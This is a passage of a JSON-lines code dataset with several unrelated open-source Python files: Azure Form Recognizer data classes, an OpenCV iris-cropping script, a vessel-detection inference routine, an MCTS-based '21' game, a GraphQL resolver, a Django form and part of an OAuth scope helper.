tags=data.get(\"tags\", {}),\n )\n\n @classmethod\n def _from_generated(cls, op, api_version): # pylint: disable=arguments-differ\n deserialize = _get_deserialize(api_version)\n return cls(\n operation_id=op.operation_id,\n status=op.status,\n percent_completed=op.percent_completed if op.percent_completed else 0,\n created_on=op.created_date_time,\n last_updated_on=op.last_updated_date_time,\n kind=op.kind,\n resource_location=op.resource_location,\n result=DocumentModel._from_generated(deserialize(ModelInfo, op.result))\n if op.result else None,\n error=DocumentAnalysisError._from_generated(deserialize(Error, op.error))\n if op.error else None,\n api_version=op.api_version,\n tags=op.tags if op.tags else {},\n )\n\n\nclass DocumentWord(DocumentContentElement):\n \"\"\"A word object consisting of a contiguous sequence of characters. For non-space delimited languages,\n such as Chinese, Japanese, and Korean, each character is represented as its own word.\n\n :ivar content: Text content of the word.\n :vartype content: str\n :ivar bounding_box: Bounding box of the word.\n :vartype bounding_box: list[Point]\n :ivar span: Location of the word in the reading order concatenated content.\n :vartype span: ~azure.ai.formrecognizer.DocumentSpan\n :ivar confidence: Confidence of correctly extracting the word.\n :vartype confidence: float\n :ivar str kind: For DocumentWord, this is \"word\".\n \"\"\"\n\n def __init__(self, **kwargs):\n super(DocumentWord, self).__init__(kind=\"word\", **kwargs)\n\n @classmethod\n def _from_generated(cls, word):\n return cls(\n content=word.content,\n bounding_box=get_bounding_box(word),\n span=DocumentSpan._from_generated(word.span)\n if word.span\n else None,\n confidence=word.confidence,\n )\n\n def __repr__(self):\n return \"DocumentWord(content={}, bounding_box={}, span={}, confidence={}, kind={})\".format(\n self.content,\n self.bounding_box,\n repr(self.span),\n self.confidence,\n self.kind,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentWord.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"content\": self.content,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"span\": self.span.to_dict() if self.span else None,\n \"confidence\": self.confidence,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentWord\n \"\"\"Converts a dict in the shape of a DocumentWord to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentWord.\n :return: DocumentWord\n :rtype: DocumentWord\n \"\"\"\n return cls(\n content=data.get(\"content\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n span=DocumentSpan.from_dict(data.get(\"span\")) if data.get(\"span\") else None, # type: ignore\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass AnalyzeResult(object):\n \"\"\"Document analysis result.\n\n :ivar api_version: API version used to produce this result. Possible values include:\n \"2022-01-30-preview\".\n :vartype api_version: str\n :ivar model_id: Model ID used to produce this result.\n :vartype model_id: str\n :ivar content: Concatenate string representation of all textual and visual elements\n in reading order.\n :vartype content: str\n :ivar languages: Detected languages in the document.\n :vartype languages: list[~azure.ai.formrecognizer.DocumentLanguage]\n :ivar pages: Analyzed pages.\n :vartype pages: list[~azure.ai.formrecognizer.DocumentPage]\n :ivar tables: Extracted tables.\n :vartype tables: list[~azure.ai.formrecognizer.DocumentTable]\n :ivar key_value_pairs: Extracted key-value pairs.\n :vartype key_value_pairs:\n list[~azure.ai.formrecognizer.DocumentKeyValuePair]\n :ivar entities: Extracted entities.\n :vartype entities: list[~azure.ai.formrecognizer.DocumentEntity]\n :ivar styles: Extracted font styles.\n :vartype styles: list[~azure.ai.formrecognizer.DocumentStyle]\n :ivar documents: Extracted documents.\n :vartype documents: list[~azure.ai.formrecognizer.AnalyzedDocument]\n\n .. versionadded:: v2022-01-30-preview\n The *languages* property\n \"\"\"\n\n def __init__(self, **kwargs):\n self.api_version = kwargs.get(\"api_version\", None)\n self.model_id = kwargs.get(\"model_id\", None)\n self.content = kwargs.get(\"content\", None)\n self.languages = kwargs.get(\"languages\", None)\n self.pages = kwargs.get(\"pages\", None)\n self.tables = kwargs.get(\"tables\", None)\n self.key_value_pairs = kwargs.get(\"key_value_pairs\", None)\n self.entities = kwargs.get(\"entities\", None)\n self.styles = kwargs.get(\"styles\", None)\n self.documents = kwargs.get(\"documents\", None)\n\n @classmethod\n def _from_generated(cls, response):\n return cls(\n api_version=response.api_version,\n model_id=response.model_id,\n content=response.content,\n languages=[DocumentLanguage._from_generated(lang) for lang in response.languages]\n if response.languages\n else [],\n pages=[DocumentPage._from_generated(page) for page in response.pages]\n if response.pages\n else [],\n tables=[DocumentTable._from_generated(table) for table in response.tables]\n if response.tables\n else [],\n key_value_pairs=[\n DocumentKeyValuePair._from_generated(kv)\n for kv in response.key_value_pairs\n ]\n if response.key_value_pairs\n else [],\n entities=[\n DocumentEntity._from_generated(entity) for entity in response.entities\n ]\n if response.entities\n else [],\n styles=[DocumentStyle._from_generated(style) for style in response.styles]\n if response.styles\n else [],\n documents=[\n AnalyzedDocument._from_generated(document)\n for document in response.documents\n ]\n if response.documents\n else [],\n )\n\n def __repr__(self):\n return (\n \"AnalyzeResult(api_version={}, model_id={}, content={}, languages={}, pages={}, \"\n \"tables={}, key_value_pairs={}, entities={}, styles={}, documents={})\".format(\n self.api_version,\n self.model_id,\n self.content,\n repr(self.languages),\n repr(self.pages),\n repr(self.tables),\n repr(self.key_value_pairs),\n repr(self.entities),\n repr(self.styles),\n repr(self.documents),\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of AnalyzeResult.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"api_version\": self.api_version,\n \"model_id\": self.model_id,\n \"content\": self.content,\n \"languages\": [f.to_dict() for f in self.languages]\n if self.languages\n else [],\n \"pages\": [f.to_dict() for f in self.pages]\n if self.pages\n else [],\n \"tables\": [f.to_dict() for f in self.tables]\n if self.tables\n else [],\n \"key_value_pairs\": [f.to_dict() for f in self.key_value_pairs]\n if self.key_value_pairs\n else [],\n \"entities\": [f.to_dict() for f in self.entities]\n if self.entities\n else [],\n \"styles\": [f.to_dict() for f in self.styles]\n if self.styles\n else [],\n \"documents\": [f.to_dict() for f in self.documents]\n if self.documents\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> AnalyzeResult\n \"\"\"Converts a dict in the shape of a AnalyzeResult to the model itself.\n\n :param dict data: A dictionary in the shape of AnalyzeResult.\n :return: AnalyzeResult\n :rtype: AnalyzeResult\n \"\"\"\n return cls(\n api_version=data.get(\"api_version\", None),\n model_id=data.get(\"model_id\", None),\n content=data.get(\"content\", None),\n languages=[DocumentLanguage.from_dict(v) for v in data.get(\"languages\")] # type: ignore\n if len(data.get(\"languages\", [])) > 0\n else [],\n pages=[DocumentPage.from_dict(v) for v in data.get(\"pages\")] # type: ignore\n if len(data.get(\"pages\", [])) > 0\n else [],\n tables=[DocumentTable.from_dict(v) for v in data.get(\"tables\")] # type: ignore\n if len(data.get(\"tables\", [])) > 0\n else [],\n key_value_pairs=[DocumentKeyValuePair.from_dict(v) for v in data.get(\"key_value_pairs\")] # type: ignore\n if len(data.get(\"key_value_pairs\", [])) > 0\n else [],\n entities=[DocumentEntity.from_dict(v) for v in data.get(\"entities\")] # type: ignore\n if len(data.get(\"entities\", [])) > 0\n else [],\n styles=[DocumentStyle.from_dict(v) for v in data.get(\"styles\")] # type: ignore\n if len(data.get(\"styles\", [])) > 0\n else [],\n documents=[AnalyzedDocument.from_dict(v) for v in data.get(\"documents\")] # type: ignore\n if len(data.get(\"documents\", [])) > 0\n else [],\n )\n\n\nclass DocumentModelInfo(object):\n \"\"\"Document model information including the model ID,\n its description, and when the model was created.\n\n :ivar str model_id: Unique model id.\n :ivar str description: A description for the model.\n :ivar created_on: Date and time (UTC) when the model was created.\n :vartype created_on: ~datetime.datetime\n :ivar api_version: API version used to create this model.\n :vartype api_version: str\n :ivar tags: List of user defined key-value tag attributes associated with the model.\n :vartype tags: dict[str, str]\n\n .. versionadded:: v2022-01-30-preview\n The *api_version* and *tags* properties\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n self.model_id = kwargs.get('model_id', None)\n self.description = kwargs.get('description', None)\n self.created_on = kwargs.get('created_on', None)\n self.api_version = kwargs.get(\"api_version\", None)\n self.tags = kwargs.get(\"tags\", None)\n\n def __repr__(self):\n return (\n \"DocumentModelInfo(model_id={}, description={}, created_on={}, api_version={}, tags={})\".format(\n self.model_id,\n self.description,\n self.created_on,\n self.api_version,\n self.tags,\n )\n )\n\n @classmethod\n def _from_generated(cls, model):\n return cls(\n model_id=model.model_id,\n description=model.description,\n created_on=model.created_date_time,\n api_version=model.api_version,\n tags=model.tags,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentModelInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_id\": self.model_id,\n \"description\": self.description,\n \"created_on\": self.created_on,\n \"api_version\": self.api_version,\n \"tags\": self.tags if self.tags else {},\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentModelInfo\n \"\"\"Converts a dict in the shape of a DocumentModelInfo to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentModelInfo.\n :return: DocumentModelInfo\n :rtype: DocumentModelInfo\n \"\"\"\n return cls(\n model_id=data.get(\"model_id\", None),\n description=data.get(\"description\", None),\n created_on=data.get(\"created_on\", None),\n api_version=data.get(\"api_version\", None),\n tags=data.get(\"tags\", {})\n )\n\n\nclass DocumentModel(DocumentModelInfo):\n \"\"\"Document model information. Includes the doc types that the model can analyze.\n\n :ivar str model_id: Unique model id.\n :ivar str description: A description for the model.\n :ivar created_on: Date and time (UTC) when the model was created.\n :vartype created_on: ~datetime.datetime\n :ivar api_version: API version used to create this model.\n :vartype api_version: str\n :ivar tags: List of user defined key-value tag attributes associated with the model.\n :vartype tags: dict[str, str]\n :ivar doc_types: Supported document types, including the fields for each document and their types.\n :vartype doc_types: dict[str, ~azure.ai.formrecognizer.DocTypeInfo]\n\n .. versionadded:: v2022-01-30-preview\n The *api_version* and *tags* properties\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n super(DocumentModel, self).__init__(**kwargs)\n self.doc_types = kwargs.get('doc_types', None)\n\n def __repr__(self):\n return (\n \"DocumentModel(model_id={}, description={}, created_on={}, api_version={}, tags={}, doc_types={})\".format(\n self.model_id,\n self.description,\n self.created_on,\n self.api_version,\n self.tags,\n repr(self.doc_types),\n )\n )\n\n @classmethod\n def _from_generated(cls, model):\n return cls(\n model_id=model.model_id,\n description=model.description,\n created_on=model.created_date_time,\n api_version=model.api_version,\n tags=model.tags,\n doc_types={k: DocTypeInfo._from_generated(v) for k, v in model.doc_types.items()}\n if model.doc_types else {}\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentModel.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_id\": self.model_id,\n \"description\": self.description,\n \"created_on\": self.created_on,\n \"api_version\": self.api_version,\n \"tags\": self.tags if self.tags else {},\n \"doc_types\": {k: v.to_dict() for k, v in self.doc_types.items()} if self.doc_types else {}\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentModel\n \"\"\"Converts a dict in the shape of a DocumentModel to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentModel.\n :return: DocumentModel\n :rtype: DocumentModel\n \"\"\"\n return cls(\n model_id=data.get(\"model_id\", None),\n description=data.get(\"description\", None),\n created_on=data.get(\"created_on\", None),\n api_version=data.get(\"api_version\", None),\n tags=data.get(\"tags\", {}),\n doc_types={k: DocTypeInfo.from_dict(v) for k, v in data.get(\"doc_types\").items()} # type: ignore\n if data.get(\"doc_types\")\n else {},\n )\n\n\nclass DocTypeInfo(object):\n \"\"\"DocTypeInfo represents a document type that a model can recognize, including its\n fields and types, and the confidence for those fields.\n\n :ivar str description: A description for the model.\n :ivar build_mode: The build mode used when building the custom model.\n Possible values include: \"template\", \"neural\".\n :vartype build_mode: str\n :ivar field_schema: Description of the document semantic schema.\n :vartype field_schema: dict[str, Any]\n :ivar field_confidence: Estimated confidence for each field.\n :vartype field_confidence: dict[str, float]\n\n .. versionadded:: v2022-01-30-preview\n The *build_mode* property\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n self.description = kwargs.get('description', None)\n self.build_mode = kwargs.get('build_mode', None)\n self.field_schema = kwargs.get('field_schema', None)\n self.field_confidence = kwargs.get('field_confidence', None)\n\n def __repr__(self):\n return (\n \"DocTypeInfo(description={}, build_mode={}, field_schema={}, field_confidence={})\".format(\n self.description,\n self.build_mode,\n self.field_schema,\n self.field_confidence,\n )\n )\n\n @classmethod\n def _from_generated(cls, doc_type):\n return cls(\n description=doc_type.description,\n build_mode=doc_type.build_mode,\n field_schema={name: field.serialize() for name, field in doc_type.field_schema.items()}\n if doc_type.field_schema else {},\n field_confidence=doc_type.field_confidence,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocTypeInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"description\": self.description,\n \"build_mode\": self.build_mode,\n \"field_schema\": self.field_schema,\n \"field_confidence\": self.field_confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocTypeInfo\n \"\"\"Converts a dict in the shape of a DocTypeInfo to the model itself.\n\n :param dict data: A dictionary in the shape of DocTypeInfo.\n :return: DocTypeInfo\n :rtype: DocTypeInfo\n \"\"\"\n return cls(\n description=data.get(\"description\", None),\n build_mode=data.get(\"build_mode\", None),\n field_schema=data.get(\"field_schema\", {}),\n field_confidence=data.get(\"field_confidence\", {}),\n )\n\n\nclass AccountInfo(object):\n \"\"\"Info regarding models under the Form Recognizer resource.\n\n :ivar int model_count: Number of custom models in the current resource.\n :ivar int model_limit: Maximum number of custom models supported in the current resource.\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n self.model_count = kwargs.get('model_count', None)\n self.model_limit = kwargs.get('model_limit', None)\n\n def __repr__(self):\n return (\n \"AccountInfo(model_count={}, model_limit={})\".format(\n self.model_count,\n self.model_limit,\n )\n )\n\n @classmethod\n def _from_generated(cls, info):\n return cls(\n model_count=info.count,\n model_limit=info.limit,\n )\n\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of AccountInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_count\": self.model_count,\n \"model_limit\": self.model_limit,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> AccountInfo\n \"\"\"Converts a dict in the shape of a AccountInfo to the model itself.\n\n :param dict data: A dictionary in the shape of AccountInfo.\n :return: AccountInfo\n :rtype: AccountInfo\n \"\"\"\n return cls(\n model_count=data.get(\"model_count\", None),\n model_limit=data.get(\"model_limit\", None),\n )\n\n\nclass DocumentAnalysisError(object):\n \"\"\"DocumentAnalysisError contains the details of the error returned by the service.\n\n :ivar code: Error code.\n :vartype code: str\n :ivar message: Error message.\n :vartype message: str\n :ivar target: Target of the error.\n :vartype target: str\n :ivar details: List of detailed errors.\n :vartype details: list[~azure.ai.formrecognizer.DocumentAnalysisError]\n :ivar innererror: Detailed error.\n :vartype innererror: ~azure.ai.formrecognizer.DocumentAnalysisInnerError\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n self.code = kwargs.get('code', None)\n self.message = kwargs.get('message', None)\n self.target = kwargs.get('target', None)\n self.details = kwargs.get('details', None)\n self.innererror = kwargs.get('innererror', None)\n\n def __repr__(self):\n return (\n \"DocumentAnalysisError(code={}, message={}, target={}, details={}, innererror={})\".format(\n self.code,\n self.message,\n self.target,\n repr(self.details),\n repr(self.innererror)\n )\n )\n\n @classmethod\n def _from_generated(cls, err):\n return cls(\n code=err.code,\n message=err.message,\n target=err.target,\n details=[DocumentAnalysisError._from_generated(e) for e in err.details] if err.details else [],\n innererror=DocumentAnalysisInnerError._from_generated(err.innererror) if err.innererror else None\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentAnalysisError.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"code\": self.code,\n \"message\": self.message,\n \"target\": self.target,\n \"details\": [detail.to_dict() for detail in self.details] if self.details else [],\n \"innererror\": self.innererror.to_dict() if self.innererror else None\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentAnalysisError\n \"\"\"Converts a dict in the shape of a DocumentAnalysisError to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentAnalysisError.\n :return: DocumentAnalysisError\n :rtype: DocumentAnalysisError\n \"\"\"\n return cls(\n code=data.get(\"code\", None),\n message=data.get(\"message\", None),\n target=data.get(\"target\", None),\n details=[DocumentAnalysisError.from_dict(e) for e in data.get(\"details\")] # type: ignore\n if data.get(\"details\") else [],\n innererror=DocumentAnalysisInnerError.from_dict(data.get(\"innererror\")) # type: ignore\n if data.get(\"innererror\") else None\n )\n\n\nclass DocumentAnalysisInnerError(object):\n \"\"\"Inner error details for the DocumentAnalysisError.\n\n :ivar code: Error code.\n :vartype code: str\n :ivar message: Error message.\n :ivar innererror: Detailed error.\n :vartype innererror: ~azure.ai.formrecognizer.DocumentAnalysisInnerError\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n\n self.code = kwargs.get('code', None)\n self.message = kwargs.get('message', None)\n self.innererror = kwargs.get('innererror', None)\n\n def __repr__(self):\n return (\n \"DocumentAnalysisInnerError(code={}, message={}, innererror={})\".format(\n self.code,\n self.message,\n repr(self.innererror)\n )\n )\n\n @classmethod\n def _from_generated(cls, ierr):\n return cls(\n code=ierr.code,\n message=ierr.message,\n innererror=DocumentAnalysisInnerError._from_generated(ierr.innererror) if ierr.innererror else None\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentAnalysisInnerError.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"code\": self.code,\n \"message\": self.message,\n \"innererror\": self.innererror.to_dict() if self.innererror else None\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentAnalysisInnerError\n \"\"\"Converts a dict in the shape of a DocumentAnalysisInnerError to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentAnalysisInnerError.\n :return: DocumentAnalysisInnerError\n :rtype: DocumentAnalysisInnerError\n \"\"\"\n return cls(\n code=data.get(\"code\", None),\n message=data.get(\"message\", None),\n innererror=DocumentAnalysisInnerError.from_dict(data.get(\"innererror\")) # type: ignore\n if data.get(\"innererror\") else None\n )\n\n\ndef _in_span(element, spans):\n # type: (DocumentWord, List[DocumentSpan]) -> bool\n for span in spans:\n if element.span.offset >= span.offset and (\n element.span.offset + element.span.length\n ) <= (span.offset + span.length):\n return True\n return False\n", "source": "kazrael2119/azure-sdk-for-python", "license": "MIT"} {"text": "import cv2\nimport os\nimport re\nfrom math import hypot\nimport numpy as np\n\n\nCurPath = os.path.dirname(__file__)\n# Path to output txt file:\niris_pos_file = CurPath + '/PrintedImages/IrisPositions.txt'\nimage_dir = CurPath + '/PrintedImages/'\noutput_dir = CurPath + '/PrintedIris/'\n\n# Get all printed images, if they're .jpg\ndef getPrintedImageNames():\n return [os.path.splitext(f)[0] for f in os.listdir(image_dir) if os.path.splitext(f)[1] == \".jpg\"]\n\ndef cropImage(image,centre,radius):\n mask = np.zeros(image.shape, dtype=np.uint8)\n cv2.circle(mask, centre, radius, (255,255,255), -1)\n\n # Bitwise-and for ROI\n ROI = cv2.bitwise_and(image, mask)\n\n # Crop mask and turn background white\n mask = cv2.cvtColor(mask, cv2.COLOR_BGR2GRAY)\n x,y,w,h = cv2.boundingRect(mask)\n result = ROI[y:y+h,x:x+w]\n mask = mask[y:y+h,x:x+w]\n result[mask==0] = (0,0,0)\n\n return result\n\nfor image_path in getPrintedImageNames():\n with open(iris_pos_file,\"r\") as file:\n for line in file:\n if re.search(image_path, line):\n # Get all details from text file\n centre = line.split(' ')[1]\n centre = (int(centre.split(\",\")[0]),int(centre.split(\",\")[1]))\n distance = line.split(' ')[2]\n # Read image and draw the circle on it \n image = cv2.imread(image_dir + image_path + \".jpg\")\n cv2.imwrite(output_dir+image_path+\".jpg\",cropImage(image,centre,int(float(distance))))\n\n\n\n", "source": "Willsparker/FYP_EdgeDetection", "license": "MIT"} {"text": "import gc\nimport os\nfrom typing import List\n\nimport numpy as np\nimport tifffile\nimport torch\nfrom torch import nn\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\n\nfrom inference.tiling import Tiler, TileSlice\nfrom training.val_dataset import normalize_band\n\n\nclass SliceDataset(Dataset):\n\n def __init__(self, scene_dir: str, tiler: Tiler) -> None:\n super().__init__()\n self.scene_dir = scene_dir\n self.tiler = tiler\n self.slices = tiler.generate_slices()\n self.vv_full = tifffile.imread(os.path.join(self.scene_dir, \"VV_dB.tif\"))\n self.vh_full = tifffile.imread(os.path.join(self.scene_dir, \"VH_dB.tif\"))\n\n def __getitem__(self, index):\n slice = self.slices[index]\n vv = self.tiler.get_crop(self.vv_full, slice)\n vh = self.tiler.get_crop(self.vh_full, slice)\n vv = normalize_band(vv)\n vh = normalize_band(vh)\n img = torch.from_numpy(np.stack([vv, vh], axis=0)).float()\n return img, np.array([slice.row, slice.column, slice.y, slice.x])\n\n def __len__(self):\n return len(self.slices)\n\n\ndef predict_scene_and_return_mm(models: List[nn.Module], dataset_dir, scene_id: str, use_fp16: bool = False,\n rotate=False, output_dir=None):\n vh_full = tifffile.memmap(os.path.join(dataset_dir, scene_id, \"VH_dB.tif\"), mode=\"r\")\n\n height, width = vh_full.shape\n\n tiler = Tiler(height, width, 3584, overlap=704)\n vessel_preds = np.zeros_like(vh_full, dtype=np.uint8)\n fishing_preds = np.zeros_like(vh_full, dtype=np.uint8)\n length_preds = np.zeros_like(vh_full, dtype=np.float16)\n center_preds = np.zeros_like(vh_full, dtype=np.uint8)\n slice_dataset = SliceDataset(os.path.join(dataset_dir, scene_id), tiler)\n slice_loader = DataLoader(\n slice_dataset, batch_size=1, shuffle=False, num_workers=8, pin_memory=False\n )\n for batch, slice_vals in tqdm(slice_loader):\n slice = TileSlice(*slice_vals[0])\n with torch.no_grad():\n batch = batch.cuda()\n with torch.cuda.amp.autocast(enabled=use_fp16):\n outputs = []\n for model in models:\n output = model(batch)\n sigmoid_keys = [\"fishing_mask\", \"vessel_mask\"]\n for k in sigmoid_keys:\n output[k] = torch.sigmoid(output[k])\n if rotate:\n out180 = model(torch.rot90(batch, 2, dims=(2, 3)))\n for key in list(output.keys()):\n val = torch.rot90(out180[key], 2, dims=(2, 3))\n if key in sigmoid_keys:\n val = torch.sigmoid(val)\n output[key] += val\n output[key] *= 0.5\n outputs.append(output)\n output = {}\n for k in outputs[0].keys():\n vs = [o[k][:, :3] for o in outputs]\n output[k] = sum(vs) / len(models)\n vessel_mask = (output[\"vessel_mask\"][0][0] * 255).cpu().numpy().astype(np.uint8)\n fishing_mask = (output[\"fishing_mask\"][0][0] * 255).cpu().numpy().astype(np.uint8)\n center_mask = torch.clamp(output[\"center_mask\"][0][0], 0, 255).cpu().numpy().astype(np.uint8)\n length_mask = output[\"length_mask\"][0][0].cpu().numpy().astype(np.float16)\n tiler.update_crop(vessel_preds, vessel_mask, slice)\n tiler.update_crop(fishing_preds, fishing_mask, slice)\n tiler.update_crop(center_preds, center_mask, slice)\n tiler.update_crop(length_preds, length_mask, slice)\n # tiler.update_crop(conf_preds, conf_mask, slice)\n if output_dir:\n os.makedirs(os.path.join(output_dir, scene_id), exist_ok=True)\n np.save(os.path.join(output_dir, scene_id, \"center_preds\"), center_preds)\n np.save(os.path.join(output_dir, scene_id, \"vessel_preds\"), vessel_preds)\n np.save(os.path.join(output_dir, scene_id, \"fishing_preds\"), fishing_preds)\n np.save(os.path.join(output_dir, scene_id, \"length_preds\"), length_preds)\n gc.collect()\n return {\n \"center_mask\": center_preds,\n \"vessel_mask\": vessel_preds,\n \"fishing_mask\": fishing_preds,\n\n \"length_mask\": length_preds,\n }\n", "source": "selimsef/xview3_solution", "license": "Apache-2.0"} {"text": "import mcts\nfrom mcts import UCB, MCTS, TimeBudget\nimport math\nimport random\nimport os\nimport argparse\n\n\nclass TwentyOneReward(mcts.Reward):\n def __init__(self, reward, player_id):\n self.reward = reward\n self.player_id = player_id\n\n def apply(self, node):\n if self.player_id == node.state.player_id:\n node.accumulated_reward -= self.reward\n else:\n node.accumulated_reward += self.reward\n\n\nclass TwentyOneState(mcts.State):\n n_playouts = 10\n\n def __init__(self, player_id, cursor=1):\n self.player_id = player_id\n self.cursor = cursor\n\n def next_state(self, action):\n next_cursor = self.cursor + action\n next_player_id = 3 - self.player_id\n return TwentyOneState(next_player_id, next_cursor)\n\n def actions(self):\n limit = min(22 - self.cursor, 3)\n return list(range(1, limit+1))\n\n def is_terminal(self):\n return len(self.actions()) == 0\n\n def playout(self):\n n_playouts = self.__class__.n_playouts\n s0 = self\n r = 0.\n for _ in range(n_playouts):\n s = s0\n while not s.is_terminal():\n a = random.choice(s.actions())\n s = s.next_state(a)\n r += 1. if s.player_id == s0.player_id else -1.\n return TwentyOneReward(r/n_playouts, s0.player_id)\n\n\ndef count_tree_size(node):\n if len(node.children()) == 0:\n return 1\n else:\n count = 0\n for v in node.children():\n count += count_tree_size(v)\n return count+1\n\n\ndef count_tree_depth(node):\n if len(node.children()) == 0:\n return 1\n else:\n count = []\n for v in node.children():\n count.append(count_tree_depth(v))\n return max(count) + 1\n\n\ndef ucb_of_children(ucb, node):\n d = {}\n for v in node.children():\n d[v] = ucb.calc(node, v)\n return d\n\n\ndef children_info(ucb, node):\n d = ucb_of_children(ucb, node)\n xs = []\n for v in node.children():\n xs.append((v.action, v.average_reward(), d[v], v.n_visits))\n xs.sort()\n ys = list(\n map(lambda x: \"act:{} / R_ave:{:.2g} / ucb:{:.2g} / Nv:{}\".format(*x), xs))\n return os.linesep.join(ys)\n\n\ndef report_result(r):\n d = {}\n d[\"tree_size\"] = count_tree_size(r[\"head\"])\n d[\"tree_depth\"] = count_tree_depth(r[\"head\"])\n d[\"children_info\"] = children_info(r[\"ucb\"], r[\"head\"])\n d[\"elapsed_time\"] = r[\"budget\"].elapsed_time()\n return os.linesep.join([\"tree_size : {} / tree_depth : {} / elapsed : {:.2g} secs\".format(d[\"tree_size\"], d[\"tree_depth\"], d[\"elapsed_time\"]),\n d[\"children_info\"]])\n\n\ndef get_number(message):\n return int(input(message))\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"21 game with MCTS AI\")\n parser.add_argument('--verbose', action='store_true',\n help=\"report evidences of AI behaviors\")\n parser.add_argument('--time_limit', action='store',\n default=3, type=float, help=\"time of computing\")\n parser.add_argument('--exploration_constant', action='store',\n default=0.1, type=float, help='UCB\\'s exploration factor')\n parser.add_argument('--n_playouts', action='store',\n default=5, type=int, help=\"number of playouts\")\n args = parser.parse_args()\n TwentyOneState.n_playouts = args.n_playouts\n\n def scaler(x): return 0.5 * (x + 1)\n ucb = UCB(args.exploration_constant, scaler)\n solver = MCTS(ucb)\n human_id = get_number(\"select your player_id (1,2)>\")\n assert(human_id in [1, 2])\n com_id = 3 - human_id\n s = TwentyOneState(1, cursor=1)\n while not s.is_terminal():\n print(\"current starting number:{}\".format(s.cursor))\n print(\"player{}'s turn\".format(s.player_id))\n if s.player_id == human_id:\n actions = s.actions()\n actions_str = \",\".join(map(str, actions))\n c = get_number(\"take action ({})>\".format(actions_str))\n assert(c in actions)\n a = c\n else:\n assert(s.player_id == com_id)\n r = solver.search(s, TimeBudget(args.time_limit))\n if args.verbose:\n print(report_result(r))\n a = r[\"best_action\"]\n print(\"player{}'s action: take {} steps\".format(s.player_id, a))\n s = s.next_state(a)\n if s.player_id == com_id:\n print(\"you lose\")\n else:\n print(\"you win\")\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "kitsune-udon/mcts", "license": "MIT"} {"text": "from ariadne import MutationType\nfrom datetime import datetime as dt\nfrom models.user import User\nfrom schemas.helpers.normalize import change_keys\nfrom schemas.user import UserCreate\n\n\nmutations_resolvers = MutationType()\n\n\n@mutations_resolvers.field(\"userCreate\")\nasync def resolve_user_create(parent, info, user) -> dict:\n store_data = User.get_instance()\n data = UserCreate(**user)\n normalize = change_keys(data.dict(exclude_none=True), key=\"_key\")\n\n return await store_data.create(normalize)\n", "source": "apoveda25/graphql-python-server", "license": "Apache-2.0"} {"text": "from django.forms import ModelForm\nfrom cyder.cydns.soa.models import SOA\n\n\nclass SOAForm(ModelForm):\n class Meta:\n model = SOA\n exclude = ('serial', 'dirty',)\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"} {"text": "\"\"\"\nCreated: 5 Mar. 2020\nAuthor: Jordan Prechac\n\"\"\"\n\nfrom django.db.models.query import QuerySet\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth.password_validation import validate_password\nfrom django.utils import timezone\nfrom oauth2_provider.models import Application, AccessToken, RefreshToken\nfrom oauthlib import common\n\nimport datetime\nimport gc\nimport random\nimport string\n\nfrom revibe._errors.accounts import AccountNotFound\nfrom revibe._helpers import const\nfrom revibe.contrib.email import EmailConfiguration\nfrom revibe.utils.params import get_request_header\n\nfrom accounts.exceptions import PasswordValidationError, AuthError\nfrom accounts.models import CustomUser, Profile\nfrom administration.utils import retrieve_variable\n\n# -----------------------------------------------------------------------------\n\ndef generate_scopes(user, application: Application, return_as_string: bool =True, add_artist: bool=False):\n scopes = []\n\n if 'revibe' in application.name.lower():\n scopes.append('first-party')\n\n if application.name == 'Revibe Music':\n scopes.append('music')\n\n if application.name == 'Revibe Artists' or add_artist:\n scopes.append('artist')\n\n if user.is_staff:\n scopes.append('ADMIN')\n\n if return_as_string:\n return \" \".join(scopes)\n 